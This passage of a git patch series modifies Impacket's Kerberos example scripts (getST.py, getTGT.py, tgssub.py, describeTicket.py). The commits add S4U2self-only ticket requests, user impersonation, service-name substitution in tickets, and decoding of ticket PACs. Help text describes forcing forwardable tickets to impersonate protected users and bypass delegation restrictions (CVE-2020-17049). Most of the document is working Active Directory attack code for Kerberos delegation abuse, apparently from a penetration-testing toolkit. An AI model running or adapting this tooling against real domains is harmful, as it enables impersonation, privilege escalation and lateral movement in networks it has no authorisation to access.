opts.append(constants.KDCOptions.forwardable.value) - opts.append(constants.KDCOptions.renewable.value) - - reqBody['kdc-options'] = constants.encodeFlags(opts) - service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - seq_set(reqBody, 'sname', service2.components_to_asn1) - reqBody['realm'] = self.__domain - - myTicket = ticket.to_asn1(TicketAsn1()) - seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) - - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) - - reqBody['till'] = KerberosTime.to_asn1(now) - reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) - message = encoder.encode(tgsReq) - - logging.info('\tRequesting S4U2Proxy') - r = sendReceive(message, self.__domain, kdcHost) - - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - - cipherText = tgs['enc-part']['cipher'] - - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) - - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] - - return r, cipher, sessionKey, newSessionKey - - def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): - decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] - # Extract the ticket from the TGT - ticket = Ticket() - ticket.from_asn1(decodedTGT['ticket']) - - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticket.to_asn1) - - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) - - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') - - seq_set(authenticator, 'cname', clientName.components_to_asn1) - - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) - - if logging.getLogger().level == logging.DEBUG: - logging.debug('AUTHENTICATOR') - print(authenticator.prettyPrint()) - print('\n') - - encodedAuthenticator = encoder.encode(authenticator) - - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - - encodedApReq = encoder.encode(apReq) - - tgsReq = TGS_REQ() - - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq - - # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service - # requests a service ticket to itself on behalf of a user. The user is - # identified to the KDC by the user's name and realm. - clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - - S4UByteArray = struct.pack('= 0: - logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) - if str(e).find('KDC_ERR_BADOPTION') >= 0: - logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) - - return - self.__saveFileName = self.__options.impersonate - - self.saveTicket(tgs, oldSessionKey) - + userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, + self.__kdcHost) + self.saveTicket(tgt,oldSessionKey) if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " - "Service Ticket and save it as ccache") + "TGT and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' - 'service ticket will' ' be generated for') - parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' - ' for quering the ST. Keep in mind this will only work if ' - 'the identity provided in this scripts is allowed for ' - 'delegation to the SPN specified') - parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' - 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' - 'specified -identity should be provided. This allows impresonation of protected users ' - 'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049') group = parser.add_argument_group('authentication') - group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' - 'ones specified in the command line') - group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') - group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' - 'ommited it use the domain part (FQDN) specified in the target parameter') - - if len(sys.argv) == 1: + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv)==1: parser.print_help() print("\nExamples: ") - print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n") + print("\t./getTGT.py -hashes lm:nt contoso.com/user\n") print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked") sys.exit(1) @@ -738,17 +109,15 @@ def run(self): if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass - password = getpass("Password:") if options.aesKey is not None: options.k = True - executer = GETST(username, password, domain, options) + executer = GETTGT(username, password, domain, options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback - traceback.print_exc() print(str(e)) From a4d2530ef39e4473ee22fa8dc44ce836442779b1 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 11:06:12 +0800 Subject: [PATCH 073/163] Update getTGT.py From 4dc134e30c0a4011278cdda3f720f0fc1b0764e9 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 13:00:28 +0800 Subject: [PATCH 074/163] remove redundant decryption also make some improvement of the ticket file name --- examples/getST.py | 136 ++++++++++++++++++++++++++++++++-------------- 1 file changed, 95 insertions(+), 41 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index fa536ff1f..eb520008d 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. @@ -53,10 +53,10 @@ from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_credentials -from impacket.krb5 import constants +from impacket.krb5 import constants, types, crypto, ccache from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart -from impacket.krb5.ccache import CCache +from impacket.krb5.ccache import CCache, Credential from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype from impacket.krb5.constants import TicketFlags, encodeFlags from impacket.krb5.kerberosv5 import getKerberosTGS @@ -79,14 +79,78 @@ def __init__(self, target, password, domain, options): self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket self.__saveFileName = None + self.__no_s4u2proxy = options.no_s4u2proxy if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def saveTicket(self, ticket, sessionKey): - logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - - ccache.fromTGS(ticket, sessionKey, sessionKey) + if self.__options.altservice is not None: + decodedST = decoder.decode(ticket, asn1Spec=TGS_REP())[0] + sname = decodedST['ticket']['sname']['name-string'] + if len(decodedST['ticket']['sname']['name-string']) == 1: + logging.debug("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), automatically filling the substitution service will fail") + logging.debug("Original sname is: %s" % sname[0]) + if '/' not in self.__options.altservice: + raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + service_class, service_hostname = ('', sname[0]) + service_realm = decodedST['ticket']['realm'] + elif len(decodedST['ticket']['sname']['name-string']) == 2: + service_class, service_hostname = decodedST['ticket']['sname']['name-string'] + service_realm = decodedST['ticket']['realm'] + else: + logging.debug("Original sname is: %s" % '/'.join(sname)) + raise ValueError("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), something's wrong here...") + if '@' in self.__options.altservice: + new_service_realm = self.__options.altservice.split('@')[1].upper() + if not '.' in new_service_realm: + logging.debug("New service realm is not FQDN, you may encounter errors") + if '/' in self.__options.altservice: + new_service_hostname = self.__options.altservice.split('@')[0].split('/')[1] + new_service_class = self.__options.altservice.split('@')[0].split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) + new_service_hostname = service_hostname + new_service_class = self.__options.altservice.split('@')[0] + else: + logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) + new_service_realm = service_realm + if '/' in self.__options.altservice: + new_service_hostname = self.__options.altservice.split('/')[1] + new_service_class = self.__options.altservice.split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) + new_service_hostname = service_hostname + new_service_class = self.__options.altservice + if '/' in sname: + current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) + else: + current_service = "%s@%s" % (service_hostname, service_realm) + new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm) + self.__saveFileName += '@' + new_service_class + '_' + new_service_hostname + '@' + new_service_realm._value + logging.info('Changing service from %s to %s' % (current_service, new_service)) + # the values are changed in the ticket + decodedST['ticket']['sname']['name-string'][0] = new_service_class + decodedST['ticket']['sname']['name-string'][1] = new_service_hostname + decodedST['ticket']['realm'] = new_service_realm + ticket = encoder.encode(decodedST) + ccache.fromTGS(ticket, sessionKey, sessionKey) + # the values need to be changed in the ccache credentials + # we already checked everything above, we can simply do the second replacement here + for creds in ccache.credentials: + creds['server'].fromPrincipal(Principal(new_service, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) + else: + ccache.fromTGS(ticket, sessionKey, sessionKey) + creds = ccache.credentials[0] + service_realm = creds['server'].realm['data'] + service_class = '' + if len(creds['server'].components) == 2: + service_class = creds['server'].components[0]['data'] + '_'; + service_host = creds['server'].components[1]['data']; + else: + service_host = creds['server'].components[0]['data']; + self.__saveFileName += '@' + service_class + service_host + '@' + service_realm + logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache.saveFile(self.__saveFileName + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): @@ -278,23 +342,9 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - - cipherText = tgs['enc-part']['cipher'] - - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) - - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] - - return r, cipher, sessionKey, newSessionKey + return r, None, sessionKey, None def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] @@ -401,6 +451,8 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) + if self.__options.spn is not None: + logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) @@ -424,6 +476,9 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + if self.__no_s4u2proxy: + return r, None, sessionKey, None + if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print(tgs.prettyPrint()) @@ -599,23 +654,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - - cipherText = tgs['enc-part']['cipher'] - - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) - - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] - - return r, cipher, sessionKey, newSessionKey + return r, None, sessionKey, None def run(self): @@ -684,8 +723,9 @@ def run(self): parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' - 'service ticket will' ' be generated for') + parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' + 'service ticket will' ' be generated for') + parser.add_argument('-altservice', action="store", help='New sname/SPN to set in the ticket') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' 'the identity provided in this scripts is allowed for ' @@ -693,6 +733,7 @@ def run(self): parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' 'specified -identity should be provided. This allows impresonation of protected users ' @@ -708,7 +749,7 @@ def run(self): group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' - 'ommited it use the domain part (FQDN) specified in the target parameter') + 'omitted it use the domain part (FQDN) specified in the target parameter') if len(sys.argv) == 1: parser.print_help() @@ -719,6 +760,19 @@ def run(self): options = parser.parse_args() + if not options.no_s4u2proxy and options.spn is None: + parser.error("argument -spn is required, except when -self is set") + + if options.no_s4u2proxy and options.impersonate is None: + parser.error("argument -impersonate is required when doing S4U2self") + + if options.no_s4u2proxy and options.altservice is not None: + if '/' not in options.altservice: + parser.error("When doing S4U2self only, substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + + if options.additional_ticket is not None and options.impersonate is None: + parser.error("argument -impersonate is required when doing S4U2proxy") + # Init the example's logger theme logger.init(options.ts) From 19c9dc260bcb7a3ba8278c685985c5f57edd2083 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 13:13:20 +0800 Subject: [PATCH 075/163] Update getST.py --- examples/getST.py | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index eb520008d..0bd4d6048 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -342,9 +342,23 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + cipherText = tgs['enc-part']['cipher'] - return r, None, sessionKey, None + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) + + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] + + return r, cipher, sessionKey, newSessionKey def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] @@ -653,7 +667,6 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) - return r, None, sessionKey, None def run(self): From 47db8eef163873d4e0aa54bec84eef879bdde51a Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 13:59:37 +0800 Subject: [PATCH 076/163] Update getST.py --- examples/getST.py | 19 +------------------ 1 file changed, 1 insertion(+), 18 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 0bd4d6048..39de36612 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -341,24 +341,7 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) - - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - - cipherText = tgs['enc-part']['cipher'] - - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) - - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] - - return r, cipher, sessionKey, newSessionKey + return r, None, sessionKey, None def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] From 9388c65beb602aaccb538973b148ec2efcc450b6 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 21 Feb 2022 12:14:14 +0100 Subject: [PATCH 077/163] Fixing filename definition for saveTicket --- examples/getST.py | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 39de36612..8d4977103 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -122,12 +122,12 @@ def saveTicket(self, ticket, sessionKey): logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) new_service_hostname = service_hostname new_service_class = self.__options.altservice - if '/' in sname: - current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) - else: + if len(service_class) == 0: current_service = "%s@%s" % (service_hostname, service_realm) + else: + current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm) - self.__saveFileName += '@' + new_service_class + '_' + new_service_hostname + '@' + new_service_realm._value + self.__saveFileName += "@" + new_service.replace("/", "_") logging.info('Changing service from %s to %s' % (current_service, new_service)) # the values are changed in the ticket decodedST['ticket']['sname']['name-string'][0] = new_service_class @@ -145,11 +145,15 @@ def saveTicket(self, ticket, sessionKey): service_realm = creds['server'].realm['data'] service_class = '' if len(creds['server'].components) == 2: - service_class = creds['server'].components[0]['data'] + '_'; - service_host = creds['server'].components[1]['data']; + service_class = creds['server'].components[0]['data'] + '_' + service_hostname = creds['server'].components[1]['data'] + else: + service_hostname = creds['server'].components[0]['data'] + if len(service_class) == 0: + service = "%s@%s" % (service_hostname, service_realm) else: - service_host = creds['server'].components[0]['data']; - self.__saveFileName += '@' + service_class + service_host + '@' + service_realm + service = "%s/%s@%s" % (service_class, service_hostname, service_realm) + self.__saveFileName += "@" + service.replace("/", "_") logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache.saveFile(self.__saveFileName + '.ccache') From a01fd0ed4d65e64bd6436790c89e2f223ff04291 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 21 Feb 2022 12:15:33 +0100 Subject: [PATCH 078/163] Fixing minor logging error --- examples/tgssub.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/examples/tgssub.py b/examples/tgssub.py index 444e863da..91b28a1b1 100755 --- a/examples/tgssub.py +++ b/examples/tgssub.py @@ -76,7 +76,10 @@ def substitute_sname(args): logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) new_service_hostname = service_hostname new_service_class = args.altservice - current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) + if len(service_class) == 0: + current_service = "%s@%s" % (service_hostname, service_realm) + else: + current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm) logging.info('Changing service from %s to %s' % (current_service, new_service)) # the values are changed in the ticket From 4714c317a8b69d9e0fde00c5d6351c656c14ed30 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 21 Feb 2022 12:56:34 +0100 Subject: [PATCH 079/163] Adding ticket decoding and improving parsing --- examples/describeTicket.py | 35 ++++++++++++++++++++++++----------- 1 file changed, 24 insertions(+), 11 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 0541d85bf..b568ecb9f 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -28,6 +28,7 @@ from pyasn1.codec.der import decoder from impacket import version +from impacket.dcerpc.v5.dtypes import FILETIME from impacket.dcerpc.v5.rpcrt import TypeSerialization1 from impacket.examples import logger from impacket.krb5 import constants, pac @@ -73,9 +74,9 @@ def parse_ccache(args): cred_number = 0 logging.info('Number of credentials in cache: %d' % len(ccache.credentials)) - logging.info('Parsing credential: %d' % cred_number) for creds in ccache.credentials: + logging.info('Parsing credential[%d]:' % cred_number) TGS = creds.toTGS() # sessionKey = hexlify(TGS['sessionKey'].contents).decode('utf-8') decodedTicket = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] @@ -119,12 +120,18 @@ def parse_ccache(args): if kerberoast_hash: logging.info("%-30s: %s" % ("Kerberoast hash", kerberoast_hash)) + logging.info("%-30s:" % "Decoding unencrypted data in credential[%d]['ticket']" % cred_number) + spn = "/".join(list([str(sname_component) for sname_component in decodedTicket['ticket']['sname']['name-string']])) + etype = decodedTicket['ticket']['enc-part']['etype'] + logging.info(" %-28s: %s" % ("Service Name", spn)) + logging.info(" %-28s: %s" % ("Service Realm", decodedTicket['ticket']['realm'])) + logging.info(" %-28s: %s (etype %d)" % ("Encryption type", constants.EncryptionTypes(etype).name, etype)) + logging.info(" %-28s: %d" % ("Key version number (kvno)", decodedTicket['ticket']['enc-part']['kvno'])) logging.debug("Handling Kerberos keys") ekeys = generate_kerberos_keys(args) # copypasta from krbrelayx.py # Select the correct encryption key - etype = decodedTicket['ticket']['enc-part']['etype'] try: logging.debug('Ticket is encrypted with %s (etype %d)' % (constants.EncryptionTypes(etype).name, etype)) key = ekeys[etype] @@ -133,13 +140,13 @@ def parse_ccache(args): except KeyError: if len(ekeys) > 0: logging.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but only keytype(s) %s were calculated/supplied', - constants.EncryptionTypes(etype).name, - etype, - ', '.join([str(enctype) for enctype in ekeys.keys()])) + constants.EncryptionTypes(etype).name, + etype, + ', '.join([str(enctype) for enctype in ekeys.keys()])) else: logging.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but no keys/creds were supplied', - constants.EncryptionTypes(etype).name, - etype) + constants.EncryptionTypes(etype).name, + etype) return None # todo : decodedTicket['ticket']['enc-part'] is handled. Handle decodedTicket['enc-part']? @@ -162,7 +169,7 @@ def parse_ccache(args): # So here we have the PAC pacType = pac.PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) parsed_pac = parse_pac(pacType, args) - logging.info("%-30s:" % "Decrypted PAC") + logging.info("%-30s:" % "Decoding credential[%d]['ticket']['enc-part']" % cred_number) for element_type in parsed_pac: element_type_name = list(element_type.keys())[0] logging.info(" %-28s" % element_type_name) @@ -289,9 +296,15 @@ def PACparseExtraSids(sid_and_attributes_array): clientInfo = pac.PAC_CLIENT_INFO() clientInfo.fromString(data) parsed_data = {} - parsed_data['Client Id'] = PACparseFILETIME(clientInfo.fields['ClientId']) - # In case PR fixing pac.py's PAC_CLIENT_INFO structure doesn't get through - # parsed_data['Client Id'] = PACparseFILETIME(FILETIME(data[:32])) + try: + parsed_data['Client Id'] = PACparseFILETIME(clientInfo.fields['ClientId']) + except Exception as e: + logging.debug(e) + logging.debug("Trying to parse the value with another method") + try: + parsed_data['Client Id'] = PACparseFILETIME(FILETIME(data[:32])) + except Exception as e: + logging.error(e) parsed_data['Client Name'] = clientInfo.fields['Name'].decode('utf-16-le') parsed_tuPAC.append({"ClientName": parsed_data}) From d3fdf4c126d33e8da7dbdaf07d9bda34ad542e01 Mon Sep 17 00:00:00 2001 From: p0dalirius Date: Mon, 21 Feb 2022 17:06:17 +0100 Subject: [PATCH 080/163] Added expired flag to endtime and renewtill times --- examples/describeTicket.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index b568ecb9f..3b639a8cd 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -87,8 +87,14 @@ def parse_ccache(args): logging.info("%-30s: %s" % ("Service Name", spn)) logging.info("%-30s: %s" % ("Service Realm", creds['server'].prettyPrint().split(b'@')[1].decode('utf-8'))) logging.info("%-30s: %s" % ("Start Time", datetime.datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%M:%S %p"))) - logging.info("%-30s: %s" % ("End Time", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%M:%S %p"))) - logging.info("%-30s: %s" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%M:%S %p"))) + if datetime.datetime.fromtimestamp(creds['time']['endtime']) < datetime.datetime.now(): + logging.info("%-30s: %s (expired)" % ("End Time", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%M:%S %p"))) + else: + logging.info("%-30s: %s" % ("End Time", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%M:%S %p"))) + if datetime.datetime.fromtimestamp(creds['time']['renew_till']) < datetime.datetime.now(): + logging.info("%-30s: %s (expired)" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%M:%S %p"))) + else: + logging.info("%-30s: %s" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%M:%S %p"))) flags = [] for k in constants.TicketFlags: From d8d454bff04d4ba19a48a23a03a56a2d9e7cb2dc Mon Sep 17 00:00:00 2001 From: Shutdown Date: Tue, 22 Feb 2022 15:32:49 +0100 Subject: [PATCH 081/163] Removing duplicate underscore in ccache name --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 8d4977103..a97e5429a 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -145,7 +145,7 @@ def saveTicket(self, ticket, sessionKey): service_realm = creds['server'].realm['data'] service_class = '' if len(creds['server'].components) == 2: - service_class = creds['server'].components[0]['data'] + '_' + service_class = creds['server'].components[0]['data'] service_hostname = creds['server'].components[1]['data'] else: service_hostname = creds['server'].components[0]['data'] From 